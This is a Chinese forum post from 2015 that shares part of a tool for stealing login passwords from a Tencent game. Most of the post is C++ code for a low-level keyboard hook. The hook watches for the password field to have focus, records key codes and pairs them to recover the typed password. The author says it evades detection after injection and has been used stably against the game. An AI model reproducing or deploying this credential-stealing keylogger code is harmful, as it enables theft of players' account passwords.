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[原创]TX游戏登陆密码截取
发表于: 2015-6-30 01:19 5434

[原创]TX游戏登陆密码截取

2015-6-30 01:19
5434

先申明。此文仅是自己学习研究的记录,由于上次发那个TX登陆的,公布代码,被和鞋了。所以此次不公开代码(而且公布所造成影响太大),也只公开部分研究成果。不喜勿喷。能看懂的就看懂。看不懂的绕过。。,最好能结合本人上次的贴子看。


bool bPlainCase =true;
int  g_Key =0;
void  WINAPI FilterLowLevelKeyboardProc(
	_In_  int nCode,
	_In_  WPARAM wParam,
	_In_  LPARAM lParam
	)
{
	 if(nCode == HC_ACTION)
	 {
		 PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
		 if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
		 {
			 if( ::GetFocus() == g_hPwd )  //判断是不是在输入密码
			 {
				 TCHAR tcText[100];

				 if( bPlainCase )
				 {
					// _stprintf_s(tcText,_T("原始虚键码:%d"),pKdb->vkCode);
					 if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
						 pKdb->vkCode -=48;
					 
					 g_Key=pKdb->vkCode;
					 bPlainCase=false;
					// OutputDebugString(tcText);
					 
				 }else
				 {
					 if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
						 pKdb->vkCode -=48;
					// _stprintf_s(tcText,_T("加密虚拟码:%d,当前key:%d"),pKdb->vkCode,g_Key);
					 SetKeyPair(pKdb->vkCode,g_Key);
					 bPlainCase=true;
					// OutputDebugString(tcText);
				 }
			 }
		 }
	 }
}


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win7 64位 测试  ,恢复一个钩子就可以正常注入不报,很稳定,已经用了很长时间了,搞的tx的一款游戏
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